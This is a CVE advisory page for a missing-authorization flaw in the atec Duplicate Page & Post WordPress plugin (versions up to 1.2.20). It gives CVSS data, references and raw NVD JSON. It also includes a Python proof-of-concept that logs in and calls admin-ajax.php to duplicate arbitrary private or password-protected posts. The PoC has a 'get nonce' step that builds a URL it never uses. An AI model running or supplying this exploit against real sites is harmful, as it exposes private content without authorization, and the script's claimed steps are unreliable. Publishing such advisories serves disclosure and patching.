Security Vulnerability Report
中文
CVE-2025-13404 CVSS 5.3 MEDIUM

CVE-2025-13404

Published: 2025-11-25 08:15:51
Last Modified: 2026-04-15 00:35:42

Description

The atec Duplicate Page & Post plugin for WordPress is vulnerable to unauthorized post duplication due to missing authorization validation on the duplicate_post() function in all versions up to, and including, 1.2.20. This makes it possible for authenticated attackers, with Contributor-level access and above, to duplicate arbitrary posts, including private and password-protected posts, leading to data exposure.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

atec Duplicate Page & Post WordPress Plugin <= 1.2.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13404 PoC - atec Duplicate Page Plugin Unauthorized Post Duplication # Authenticated attackers with Contributor+ access can duplicate arbitrary posts import requests import sys target_url = input('Enter target URL: ') username = input('Enter username: ') password = input('Enter password: ') target_post_id = input('Enter target post ID to duplicate: ') session = requests.Session() # Step 1: Login to WordPress login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Get nonce for the duplication action nonce_url = f'{target_url}/wp-admin/admin-ajax.php?action=atec_wpdpp_duplicate_post&post_id={target_post_id}' # Step 3: Exploit the vulnerability - duplicate the post without proper authorization headers = { 'X-Requested-With': 'XMLHttpRequest', 'Referer': f'{target_url}/wp-admin/edit.php' } exploit_url = f'{target_url}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'atec_wpdpp_duplicate_post', 'post_id': target_post_id } response = session.post(exploit_url, data=exploit_data, headers=headers) if response.status_code == 200: print('[+] Post duplicated successfully!') print(f'[+] Response: {response.text}') else: print('[-] Exploitation failed')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13404", "sourceIdentifier": "[email protected]", "published": "2025-11-25T08:15:51.187", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The atec Duplicate Page & Post plugin for WordPress is vulnerable to unauthorized post duplication due to missing authorization validation on the duplicate_post() function in all versions up to, and including, 1.2.20. This makes it possible for authenticated attackers, with Contributor-level access and above, to duplicate arbitrary posts, including private and password-protected posts, leading to data exposure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/atec-duplicate-page-post/tags/1.2.20/includes/atec-wpdpp-hooks.php#L27", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/atec-duplicate-page-post/tags/1.2.21/includes/atec-wpdpp-hooks.php#L27", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a793b24f-979e-4209-93f7-cff8d3867a7d?source=cve", "source": "[email protected]"}]}}